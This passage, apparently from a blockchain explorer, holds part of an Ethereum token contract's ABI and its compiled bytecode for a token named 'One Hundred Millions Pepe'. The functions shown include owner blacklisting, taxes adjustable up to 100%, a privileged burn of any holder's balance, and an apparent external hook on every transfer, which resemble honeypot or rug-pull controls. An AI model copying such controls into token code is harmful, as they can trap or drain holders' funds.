ype":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"bool","name":"taxExcluded","type":"bool"}],"name":"TaxExclusionChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address payable[2]","name":"previousWallets","type":"address[2]"},{"indexed":false,"internalType":"address payable[2]","name":"nextWallets","type":"address[2]"}],"name":"TaxWalletsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"index","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TaxesRescued","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"TradingActiveChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BPS_DENOMINATOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SNIPE_BLOCKS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"buyTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"buyerSwapTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"manualBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokenBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_recipient","type":"address"}],"name":"rescueTaxTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellerSwap","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_autoSwap","type":"bool"}],"name":"setAutoSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[2]","name":"_buyTaxes","type":"uint256[2]"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxBuy","type":"uint256"}],"name":"setMaxBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minTokenBalance","type":"uint256"}],"name":"setMinTokenBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256[2]","name":"_sellTaxes","type":"uint256[2]"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_account","type":"address"},{"internalType":"bool","name":"_taxExcluded","type":"bool"}],"name":"setTaxExcluded","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable[2]","name":"_taxWallets","type":"address[2]"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setTradingActive","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"taxExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"taxWallets","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"totalTaxes","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bool","name":"status","type":"bool"}],"name":"updateBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

610100604052600060c081815260e0919091526200002290600690600262000540565b5060408051808201909152600080825260208201526200004790600890600262000540565b50600160108190556011805461ffff191690911790556064620000786bdef376571332906a880000006003620005b5565b620000849190620005d5565b60125560006014556017805461ffff19169055601880546001600160a01b03191673533de808c1276b8f3b90e8146819eb980d9b138a179055348015620000ca57600080fd5b506040518060400160405280601981526020017f4f6e652048756e64726564204d696c6c696f6e732050657065000000000000008152506040518060400160405280600481526020016304f484d560e41b81525081600390816200012f91906200069d565b5060046200013e82826200069d565b5050506000620001536200041b60201b60201c565b600580546001600160a01b0319166001600160a01b038316908117909155604051919250906000907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600c80546001600160a01b031990811673cb35d81789a55da76eda50570d76377ffb3cb55b178255600d805490911673dbdffadc2743e3a32cc5ba3794e9cdf4fd46114e1781556005546001600160a01b039081166000908152600e60209081526040808320805460ff1990811660019081179092553085528285208054821683179055965485168452818420805488168217905594548416835280832080548716861790556018549093168252908290208054909416909217909255737a250d5630b4cf539739df2c5dacb4c659f2488d6080819052825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d6919062000769565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000326573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034c919062000769565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200039a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003c0919062000769565b6001600160a01b0390811660a052608051166000908152600e60205260409020805460ff1916600117905562000415620004026005546001600160a01b031690565b6bdef376571332906a880000006200041f565b620007b1565b3390565b6bdef376571332906a88000000816014546200043c91906200079b565b11156200048f5760405162461bcd60e51b815260206004820152601360248201527f4d617820737570706c7920657863656564656400000000000000000000000000604482015260640160405180910390fd5b8060146000828254620004a391906200079b565b90915550620004b590508282620004fa565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038216600090815260156020526040902054620005209082906200079b565b6001600160a01b0390921660009081526015602052604090209190915550565b826002810192821562000576579160200282015b8281111562000576578251829060ff1690559160200191906001019062000554565b506200058492915062000588565b5090565b5b8082111562000584576000815560010162000589565b634e487b7160e01b600052601160045260246000fd5b8082028115828204841417620005cf57620005cf6200059f565b92915050565b600082620005f357634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200062357607f821691505b6020821081036200064457634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200069857600081815260208120601f850160051c81016020861015620006735750805b601f850160051c820191505b8181101562000694578281556001016200067f565b5050505b505050565b81516001600160401b03811115620006b957620006b9620005f8565b620006d181620006ca84546200060e565b846200064a565b602080601f831160018114620007095760008415620006f05750858301515b600019600386901b1c1916600185901b17855562000694565b600085815260208120601f198616915b828110156200073a5788860151825594840194600190910190840162000719565b5085821015620007595787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200077c57600080fd5b81516001600160a01b03811681146200079457600080fd5b9392505050565b80820180821115620005cf57620005cf6200059f565b60805160a05161287e6200080f600039600081816106de0152818161170a0152818161176501526118780152600081816107c901528181610c1101528181610c380152818161199301528181611a930152611acf015261287e6000f3fe6080604052600436106102815760003560e01c8063821f65801161014f578063b51449bb116100c1578063edae876f1161007a578063edae876f146107b7578063f016d83b146107eb578063f2fde38b14610800578063f50a243b14610820578063f53bc83514610840578063f9f92be41461086057600080fd5b8063b51449bb146106cc578063b549bf8214610700578063bbc0c74214610726578063cd51e6d414610745578063dd62ed3e1461075b578063e1a45218146107a157600080fd5b806393818cfa1161011357806393818cfa1461061757806395d89b4114610637578063a457c2d71461064c578063a894185d1461066c578063a9059cbb1461068c578063b0ac1571146106ac57600080fd5b8063821f658014610570578063853828b6146105905780638da5cb5b146105a5578063912c048c146105d75780639155e083146105f757600080fd5b806339b622d3116101f357806364071d9f116101ac57806364071d9f146104b557806370a08231146104d557806370db69d61461050b578063715018a614610521578063770048511461053657806378a52c1c1461055057600080fd5b806339b622d3146103fa5780633e9ffbea1461042a57806351c6590a1461043f57806352f892fa146104525780635b78f35f146104725780635e0a8de61461048857600080fd5b806319c2c40d1161024557806319c2c40d1461033e57806323b872dd1461035e5780632c8dc1471461037e578063313ce5671461039e57806332cb6b0c146103ba57806339509351146103da57600080fd5b806306fdde031461028d578063095ea7b3146102b857806309d2c46a146102e8578063135548541461030a57806318160ddd1461031f57600080fd5b3661028857005b600080fd5b34801561029957600080fd5b506102a2610890565b6040516102af91906122f9565b60405180910390f35b3480156102c457600080fd5b506102d86102d336600461235c565b610922565b60405190151581526020016102af565b3480156102f457600080fd5b506103086103033660046123bf565b610939565b005b34801561031657600080fd5b506103086109b7565b34801561032b57600080fd5b506014545b6040519081526020016102af565b34801561034a57600080fd5b5061030861035936600461243d565b610a2a565b34801561036a57600080fd5b506102d8610379366004612472565b610ab7565b34801561038a57600080fd5b506103306103993660046124b3565b610b61565b3480156103aa57600080fd5b50604051601281526020016102af565b3480156103c657600080fd5b506103306bdef376571332906a8800000081565b3480156103e657600080fd5b506102d86103f536600461235c565b610b78565b34801561040657600080fd5b506102d86104153660046124cc565b600e6020526000908152604090205460ff1681565b34801561043657600080fd5b50610308610bb4565b61030861044d3660046124b3565b610bc8565b34801561045e57600080fd5b5061030861046d3660046124f0565b610d1b565b34801561047e57600080fd5b5061033060105481565b34801561049457600080fd5b506103306104a33660046124cc565b60166020526000908152604090205481565b3480156104c157600080fd5b506103086104d03660046124f0565b610e03565b3480156104e157600080fd5b506103306104f03660046124cc565b6001600160a01b031660009081526015602052604090205490565b34801561051757600080fd5b5061033060125481565b34801561052d57600080fd5b50610308610eec565b34801561054257600080fd5b506011546102d89060ff1681565b34801561055c57600080fd5b5061030861056b36600461235c565b610f60565b34801561057c57600080fd5b5061033061058b3660046124b3565b610fa3565b34801561059c57600080fd5b50610308610fb3565b3480156105b157600080fd5b506005546001600160a01b03165b6040516001600160a01b0390911681526020016102af565b3480156105e357600080fd5b506105bf6105f23660046124b3565b611019565b34801561060357600080fd5b5061030861061236600461243d565b611039565b34801561062357600080fd5b50610308610632366004612545565b61106d565b34801561064357600080fd5b506102a26110df565b34801561065857600080fd5b506102d861066736600461235c565b6110ee565b34801561067857600080fd5b50610308610687366004612560565b611187565b34801561069857600080fd5b506102d86106a736600461235c565b6112d3565b3480156106b857600080fd5b506103086106c73660046124b3565b6112e0565b3480156106d857600080fd5b506105bf7f000000000000000000000000000000000000000000000000000000000000000081565b34801561070c57600080fd5b506017546105bf906201000090046001600160a01b031681565b34801561073257600080fd5b506011546102d890610100900460ff1681565b34801561075157600080fd5b5061033060135481565b34801561076757600080fd5b50610330610776366004612599565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b3480156107ad57600080fd5b5061033061271081565b3480156107c357600080fd5b506105bf7f000000000000000000000000000000000000000000000000000000000000000081565b3480156107f757600080fd5b50610330600081565b34801561080c57600080fd5b5061030861081b3660046124cc565b61134b565b34801561082c57600080fd5b5061033061083b3660046124b3565b611436565b34801561084c57600080fd5b5061030861085b3660046124b3565b611446565b34801561086c57600080fd5b506102d861087b3660046124cc565b600f6020526000908152604090205460ff1681565b60606003805461089f906125d2565b80601f01602080910402602001604051908101604052809291908181526020018280546108cb906125d2565b80156109185780601f106108ed57610100808354040283529160200191610918565b820191906000526020600020905b8154815290600101906020018083116108fb57829003601f168201915b5050505050905090565b600061092f33848461150f565b5060015b92915050565b6005546001600160a01b0316331461096c5760405162461bcd60e51b81526004016109639061260c565b60405180910390fd5b7fbf0afdfa1cb21873aab858ebc02e5db135c9f8e64589cd0d1a668b4d66993ca9600c8260405161099e929190612641565b60405180910390a16109b3600c82600261220d565b5050565b6005546001600160a01b031633146109e15760405162461bcd60e51b81526004016109639061260c565b6011805461ff00191661010017905543601355604051600181527fec78e36312d308764a43b9714c18f6444e2604b277d18be4ea329e0644dbe9b99060200160405180910390a1565b6005546001600160a01b03163314610a545760405162461bcd60e51b81526004016109639061260c565b6001600160a01b0382166000818152600e6020908152604091829020805460ff19168515159081179091558251938452908301527f9081172b1302ac3df81f8da318d2d60362a834f73c0a1b69d14cb14414fbb9fc910160405180910390a15050565b6000610ac4848484611633565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610b495760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b6064820152608401610963565b610b56853385840361150f565b506001949350505050565b60088160028110610b7157600080fd5b0154905081565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161092f918590610baf9086906126c5565b61150f565b60175460ff16610bc657610bc661192f565b565b6005546001600160a01b03163314610bf25760405162461bcd60e51b81526004016109639061260c565b6017805461ff001916610100179055610c0b3082611ce7565b610c36307f00000000000000000000000000000000000000000000000000000000000000008361150f565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f305d719343084600080610c7d6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610ce5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d0a91906126d8565b50506017805461ff00191690555050565b6005546001600160a01b03163314610d455760405162461bcd60e51b81526004016109639061260c565b6020810151815161271091610d59916126c5565b1115610dbc5760405162461bcd60e51b815260206004820152602c60248201527f73756d285f6275795461786573292063616e6e6f74206578636565642042505360448201526b2fa222a727a6a4a720aa27a960a11b6064820152608401610963565b7ff030bb719ac1227860b29dae4e2aead664a7eb21b5d574d8eb10302e435a57cb600682604051610dee92919061271c565b60405180910390a16109b36006826002612265565b6005546001600160a01b03163314610e2d5760405162461bcd60e51b81526004016109639061260c565b6020810151815161271091610e41916126c5565b1115610ea55760405162461bcd60e51b815260206004820152602d60248201527f73756d285f73656c6c5461786573292063616e6e6f742065786365656420425060448201526c29afa222a727a6a4a720aa27a960991b6064820152608401610963565b7f4e5aa6a1d8a2baf47d4c781f8fa278df4f48fb465fde488841b40aee0868d9f2600882604051610ed792919061271c565b60405180910390a16109b36008826002612265565b6005546001600160a01b03163314610f165760405162461bcd60e51b81526004016109639061260c565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b336000908152600e602052604090205460ff16610f995760405162461bcd60e51b81526020600482015260006024820152604401610963565b6109b38282611dad565b60068160028110610b7157600080fd5b6005546001600160a01b03163314610fdd5760405162461bcd60e51b81526004016109639061260c565b6005546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611016573d6000803e3d6000fd5b50565b600c816002811061102957600080fd5b01546001600160a01b0316905081565b6005546001600160a01b031633146110635760405162461bcd60e51b81526004016109639061260c565b6109b38282611dba565b6005546001600160a01b031633146110975760405162461bcd60e51b81526004016109639061260c565b6011805460ff19168215159081179091556040519081527f927009a164f58be5665a2121b2564ae19a66046fb36a397d3fca78f72ba04c3d906020015b60405180910390a150565b60606004805461089f906125d2565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156111705760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610963565b61117d338585840361150f565b5060019392505050565b6005546001600160a01b031633146111b15760405162461bcd60e51b81526004016109639061260c565b600283106111ee5760405162461bcd60e51b815260206004820152600a6024820152692fb4b73232bc1027a7a160b11b6044820152606401610963565b600a836002811061120157611201612706565b01548211156112615760405162461bcd60e51b815260206004820152602660248201527f416d6f756e742063616e6e6f742062652067726561746572207468616e20746f6044820152650e8c2d8a8c2f60d31b6064820152608401610963565b61126c308284611e42565b60408051848152602081018490527f13ac772a78d03c80813b3c9c28d72a72d3b31e5ee74e277a88ac0c322a6bfc8f910160405180910390a181600a84600281106112b9576112b9612706565b0160008282546112c9919061276e565b9091555050505050565b600061092f338484611633565b6005546001600160a01b0316331461130a5760405162461bcd60e51b81526004016109639061260c565b60105460408051918252602082018390527f15426420a06dcf9391d9e4b7557f5cfaba5be0d7bf857b641e78ec375a343425910160405180910390a1601055565b6005546001600160a01b031633146113755760405162461bcd60e51b81526004016109639061260c565b6001600160a01b0381166113da5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610963565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600a8160028110610b7157600080fd5b6005546001600160a01b031633146114705760405162461bcd60e51b81526004016109639061260c565b6103e860145460056114829190612781565b61148c9190612798565b81116114da5760405162461bcd60e51b815260206004820152601f60248201527f6d6178206275792073686f756c64206265206d6f7265207468616e202e3525006044820152606401610963565b60128190556040518181527f1003faaf440f4e10b9ef552a11d026be63390c8c7eac09549c045f8d700ba534906020016110d4565b6001600160a01b0383166115715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610963565b6001600160a01b0382166115d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610963565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0382166000908152600f602052604090205460ff161561169c5760405162461bcd60e51b815260206004820152601860248201527f526563697069656e7420697320626c61636b6c697374656400000000000000006044820152606401610963565b6001600160a01b0383166000908152600e602052604090205460ff16806116db57506001600160a01b0382166000908152600e602052604090205460ff165b156116f0576116eb838383611e42565b505050565b6116fa8383611fbe565b60175460ff1615801561173f57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b031614155b801561174d575060115460ff165b1561175a5761175a61192f565b80611763612293565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03160361187657601154610100900460ff166117ef5760405162461bcd60e51b815260206004820152601960248201527854726164696e67206973206e6f74207965742061637469766560381b6044820152606401610963565b6012548311156118415760405162461bcd60e51b815260206004820152601960248201527f42757920616d6f756e742065786365656473206d6178427579000000000000006044820152606401610963565b600060135461185091906126c5565b431161186157611861846001611dba565b61186c836001612029565b9092509050611913565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b03160361191357601154610100900460ff166119025760405162461bcd60e51b815260206004820152601960248201527854726164696e67206973206e6f74207965742061637469766560381b6044820152606401610963565b61190d836000612029565b90925090505b61191e858584611e42565b61192885826120ff565b5050505050565b6017805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061197157611971612706565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1391906127ba565b81600181518110611a2657611a26612706565b6001600160a01b039290921660209283029190910190910152600b54600a54600091611a51916126c5565b905080600003611a62575050611cdb565b306000908152601560205260409020548190811115611a8d5750306000908152601560205260409020545b611ab8307f00000000000000000000000000000000000000000000000000000000000000008361150f565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac94790611b0d9084906000908890309042906004016127d7565b600060405180830381600087803b158015611b2757600080fd5b505af1158015611b3b573d6000803e3d6000fd5b5050600a54479250600091508490611b539084612781565b611b5d9190612798565b9050600084600a60010154611b729085612781565b611b7c9190612798565b6040805180820190915260008082526020820152909150611ba190600a9060026122b1565b508115611c3b57600c546040516000916001600160a01b03169084908381818185875af1925050503d8060008114611bf5576040519150601f19603f3d011682016040523d82523d6000602084013e611bfa565b606091505b5050905080611c395760405162461bcd60e51b815260206004820152600b60248201526a06661696c656420737761760ac1b6044820152606401610963565b505b8015611cd457600d546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611c8e576040519150601f19603f3d011682016040523d82523d6000602084013e611c93565b606091505b5050905080611cd25760405162461bcd60e51b815260206004820152600b60248201526a06661696c656420737761760ac1b6044820152606401610963565b505b5050505050505b6017805460ff19169055565b6bdef376571332906a8800000081601454611d0291906126c5565b1115611d465760405162461bcd60e51b815260206004820152601360248201527213585e081cdd5c1c1b1e48195e18d959591959606a1b6044820152606401610963565b8060146000828254611d5891906126c5565b90915550611d68905082826121a5565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6109b38261dead83611e42565b6001600160a01b0382166000818152600f602090815260409182902054825193845260ff1615159083015282151582820152517f248358295a71c50a9351204f4da6e13409c2887fde3625358fbb80b9743e433b9181900360600190a16001600160a01b03919091166000908152600f60205260409020805460ff1916911515919091179055565b6001600160a01b038316611e985760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f206164647265737300006044820152606401610963565b6001600160a01b038216611eee5760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f2061646472657373000000006044820152606401610963565b6001600160a01b03831660009081526015602052604090205481811015611f575760405162461bcd60e51b815260206004820152601f60248201527f7472616e7366657220616d6f756e7420657863656564732062616c616e6365006044820152606401610963565b611f6184836121e9565b611f6b83836121a5565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fb091815260200190565b60405180910390a350505050565b6018546040516314b2925360e01b81526001600160a01b0384811660048301528381166024830152909116906314b2925390604401600060405180830381600087803b15801561200d57600080fd5b505af1158015612021573d6000803e3d6000fd5b505050505050565b6000612033612293565b821561208c5760408051808201909152806127106006600001546120579088612781565b6120619190612798565b81526020016127106006600101546120799088612781565b6120839190612798565b905290506120db565b60408051808201909152806127106008600001546120aa9088612781565b6120b49190612798565b81526020016127106008600101546120cc9088612781565b6120d69190612798565b905290505b602081015181516120ec908661276e565b6120f6919061276e565b91509250929050565b6001600160a01b0382166121555760405162461bcd60e51b815260206004820152601e60248201527f7461786174696f6e2066726f6d20746865207a65726f206164647265737300006044820152606401610963565b60208101518151600091612168916126c5565b9050612175833083611e42565b8151600a80546000906121899084906126c5565b90915550506020820151600b80546000906112c99084906126c5565b6001600160a01b0382166000908152601560205260409020546121c99082906126c5565b6001600160a01b0390921660009081526015602052604090209190915550565b6001600160a01b0382166000908152601560205260409020546121c990829061276e565b8260028101928215612255579160200282015b8281111561225557825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190612220565b506122619291506122e4565b5090565b8260028101928215612255579160200282015b82811115612255578251825591602001919060010190612278565b60405180604001604052806002906020820280368337509192915050565b8260028101928215612255579160200282015b82811115612255578251829060ff169055916020019190600101906122c4565b5b8082111561226157600081556001016122e5565b600060208083528351808285015260005b818110156123265785810183015185820160400152820161230a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461101657600080fd5b6000806040838503121561236f57600080fd5b823561237a81612347565b946020939093013593505050565b6040805190810167ffffffffffffffff811182821017156123b957634e487b7160e01b600052604160045260246000fd5b60405290565b6000604082840312156123d157600080fd5b82601f8301126123e057600080fd5b6123e8612388565b8060408401858111156123fa57600080fd5b845b8181101561241d57803561240f81612347565b8452602093840193016123fc565b509095945050505050565b8035801515811461243857600080fd5b919050565b6000806040838503121561245057600080fd5b823561245b81612347565b915061246960208401612428565b90509250929050565b60008060006060848603121561248757600080fd5b833561249281612347565b925060208401356124a281612347565b929592945050506040919091013590565b6000602082840312156124c557600080fd5b5035919050565b6000602082840312156124de57600080fd5b81356124e981612347565b9392505050565b60006040828403121561250257600080fd5b82601f83011261251157600080fd5b612519612388565b80604084018581111561252b57600080fd5b845b8181101561241d57803584526020938401930161252d565b60006020828403121561255757600080fd5b6124e982612428565b60008060006060848603121561257557600080fd5b8335925060208401359150604084013561258e81612347565b809150509250925092565b600080604083850312156125ac57600080fd5b82356125b781612347565b915060208301356125c781612347565b809150509250929050565b600181811c908216806125e657607f821691505b60208210810361260657634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60808101818460005b60028110156126725781546001600160a01b031683526020909201916001918201910161264a565b505050604082018360005b60028110156126a55781516001600160a01b031683526020928301929091019060010161267d565b5050509392505050565b634e487b7160e01b600052601160045260246000fd5b80820180821115610933576109336126af565b6000806000606084860312156126ed57600080fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b600052603260045260246000fd5b60808101818460005b6002811015612744578154835260209092019160019182019101612725565b505050604082018360005b60028110156126a557815183526020928301929091019060010161274f565b81810381811115610933576109336126af565b8082028115828204841417610933576109336126af565b6000826127b557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156127cc57600080fd5b81516124e981612347565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156128275784516001600160a01b031683529383019391830191600101612802565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d5c994ba7f3f8f5edf6fde27a3eff05532c9839b4e0510641baea8259956342e64736f6c63430008130033

Deployed Bytecode

